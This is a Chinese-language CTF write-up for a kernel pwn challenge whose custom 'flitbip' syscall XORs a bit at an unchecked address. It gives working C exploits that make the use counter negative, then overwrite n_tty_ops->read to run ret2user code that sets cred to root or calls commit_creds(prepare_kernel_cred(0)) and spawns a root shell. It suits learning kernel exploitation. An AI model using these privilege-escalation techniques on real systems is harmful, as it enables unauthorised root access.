题目下载
启动脚本
启动脚本如下,没开启任何保护
#!/bin/bash
qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd ./initrd \-nographic \-monitor /dev/null \-append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null
题目:自定义的系统调用
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>#define MAXFLIT 1#ifndef __NR_FLITBIP
#define FLITBIP 333
#endiflong flit_count = 0;
EXPORT_SYMBOL(flit_count);SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{if (flit_count >= MAXFLIT){printk(KERN_INFO "flitbip: sorry :/\n");return -EPERM;}*addr ^= (1ULL << (bit));flit_count++;return 0;
}
题目提供了一个新的系统调用号,调用号为333
该系统调用有两个参数:addr
和bit
。
作用:对addr
地址存储数据的第bit位
与1进行异或(起始下标是第0位)
限制:使用全局变量long flit_count
限制异或功能
的次数,进入系统调用检查flit_count
是否大于等于1
- 如果等于1,则直接退出
- 小于1,则对数据进行异或,并增加
flit_count
的值
也就是正常情况下,该系统调用的异或功能只能起作用一次
题目问题:系统调用未对传递的addr
参数做检查,可以传入内核空间的地址。
- 由于
未开启
地址随机化,可以传入flit_count
全局变量的地址,使系统调用中的异或功能使用次数不受限 - 通过系统调用中的异或功能,实现任意地址写,进而提权
准备编译打包脚本
为了变量编写的poc能被快速验证,创建了一个shell 脚本,用于编译poc,并将编译好的poc打包进initrd中
#!/bin/bashecho "[*]build poc elf"
name=$1
elf_name=$(echo $1 | cut -d . -f1)
gcc -static -g $name -masm=intel -o $elf_nameecho "extract initrd"
rm -rf ./extracted
mkdir extracted
cd extracted
cp ../initrd ./
zcat ./initrd | cpio -idmv
rm ./initrd
cp ../$elf_name $elf_nameecho "cpio initrd"
find ./ -print0 | cpio --owner root --null -o --format=newc > ../initrd
cd ..
gzip initrd
mv initrd.gz initrd
使用方式
./build.sh xxx.c
就能将xxx.c
编译为xxx
,并打包到initrd
中
获取flit_count和其他内核符号的地址信息
通过/proc/kallsyms
首先在启动脚本中添加nokaslr
取消地址随机化
再修改initrd
中的init
启动文件
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict
再重新打包initrd
,以root用户权限查看/proc/kallsyms
中符号的地址
通过vmlinux-to-elf + ida
将bzImage
转换为elf
文件,放入到ida中
vmlinux-to-elf bzImage vmlinux
在导出窗口就能看见符号地址
通过vmlinux-to-elf + pwntools
这个比较方便
还是先通过vmlinux-to-elf
转换bzImage
为elf
文件
再使用pwntools提取符号
from pwn import *vmlinux_elf = ELF('./vmlinux')
flit_count = vmlinux_elf.symbols['flit_count']
print(hex(flit_count))
尝试调用自定义系统调用
编写代码,调用系统调用看看自定义系统调用的功能
测试a=1时,将a中数据第3位
与1进行异或(起始下标是第0位)
0-0-0-1
1-0-0-0
^
=======
1-0-0-1 = 9
// 文件名为 01_syscall.c
#define _GNU_SOURCE
#include <stdio.h>long _call_flitbip(long *addr, long bit){asm("mov rax, 333\n""syscall\n");
}long call_flitbip(long *addr, long bit){long tmp = _call_flitbip(addr, bit);return tmp;
}int main()
{int a = 1;int result = call_flitbip(&a, 3);printf("Now num is %d, result = %d\n", a , result);return 0;
}
进行编译打包
./build.sh 01-syscall.c
运行qemu启动脚本,查看结果
/ $ ./01_syscall
Now num is 9, result = 0 <<<<<<<<<< 二进制 1000 ^ 0001 = 1001 / $ ./01_syscall
Now num is 1, result = -1 <<<<<< 正常情况下系统调用的异或功能只能有效一次
/ $
修改flit_count,使flit_count >= 1
判断绕过
这里将flit_count
修改为负数,则判断就绕过了
flit_count
是long类型,8字节,将第63为修改为1就是负数(起始下标是第0位)
#define _GNU_SOURCE
#include <stdio.h>long _call_flitbip(long *addr, long bit){asm("mov rax, 333\n""syscall\n");
}long call_flitbip(long *addr, long bit){long tmp = _call_flitbip(addr, bit);return tmp;
}const ulong flit_count = 0xffffffff818f4f78;int main()
{call_flitbip(flit_count, 63); return 0;
}
找到_x64_sys_flitbip
的地址为0xFFFFFFFF810AE72D
,下端进行调试
在系统调用前,查看flit_count
的值为0
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78: 0x0000000000000000 0x0000000100000000
0xffffffff818f4f88: 0x0000000000000000 0x0000000000000000
0xffffffff818f4f98: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fa8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fb8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fc8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fd8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fe8: 0x0000000000000000 0x0000000000000000
再经过异或之后,值为0x8000000000000000
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78: 0x8000000000000000 0x0000000100000000
0xffffffff818f4f88: 0x0000000000000000 0x0000000000000000
0xffffffff818f4f98: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fa8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fb8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fc8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fd8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fe8: 0x0000000000000000 0x0000000000000000
之后flit_count
再自增1,值为0x8000000000000001
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78: 0x8000000000000001 0x0000000100000000
0xffffffff818f4f88: 0x0000000000000000 0x0000000000000000
0xffffffff818f4f98: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fa8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fb8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fc8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fd8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fe8: 0x0000000000000000 0x0000000000000000
这样基本就可以不受限使用自定义系统调用的异或功能了,从而实现任意地址写
ret2user + 修改cred
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;long flitbip(long* addr, long bit) {__asm__("mov rax, 333");__asm__("syscall");
}char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;static void save_state() {__asm__("mov %0, cs\n""mov %1, ss\n""pushfq\n""popq %2\n":"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)::"memory");
}void launch_shell(void) {system("/bin/sh");
}void get_root() {int * cred = *(unsigned long*)((char*)*current_task + 0x3c0);for (int i = 1; i < 9; i++)cred[i] = 0;*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;__asm__("swapgs\n""mov rax, %0\n""push rax\n""mov rax, %1\n""push rax\n""mov rax, %2\n""push rax\n""mov rax, %3\n""push rax\n""mov rax, %4\n""push rax\n""iretq\n"::"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell):"memory");
}int main(void) {char a;user_stack = &a;save_state();flitbip(flip_count, 63);unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;printf("%lx\n", val);for (unsigned long i=0; i<64; i++) {if (val & (1ULL << (i)))flitbip((char*)n_tty_ops + 0x30 , i);}scanf("%c", &a);while(1);return 0;
}
ret2user + commit_creds(prepare_kernel_cred(0));
// / $ uname -a
// Linux (none) 4.17.0 #1 Fri Jun 15 18:16:45 CEST 2018 x86_64 GNU/Linux// ffffffff81033e92 T prepare_kernel_cred
// ffffffff81033d41 T commit_creds#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;long flitbip(long* addr, long bit) {__asm__("mov rax, 333");__asm__("syscall");
}char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;static void save_state() {__asm__("mov %0, cs\n""mov %1, ss\n""pushfq\n""popq %2\n":"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)::"memory");
}void launch_shell(void) {system("/bin/sh");
}#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff81033e92;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81033d41;void get_root() {commit_creds(prepare_kernel_cred(0));// 回复 n_tty_ops->read的值*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;__asm__("swapgs\n""mov rax, %0\n""push rax\n""mov rax, %1\n""push rax\n""mov rax, %2\n""push rax\n""mov rax, %3\n""push rax\n""mov rax, %4\n""push rax\n""iretq\n"::"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell):"memory");
}int main(void) {char a;user_stack = &a;save_state();flitbip(flip_count, 63);unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;printf("%lx\n", val);// 画了个很简单的图,一看就明白意思for (unsigned long i=0; i<64; i++) {if (val & (1ULL << (i)))flitbip((char*)n_tty_ops + 0x30 , i);}scanf("%c", &a);while(1);return 0;
}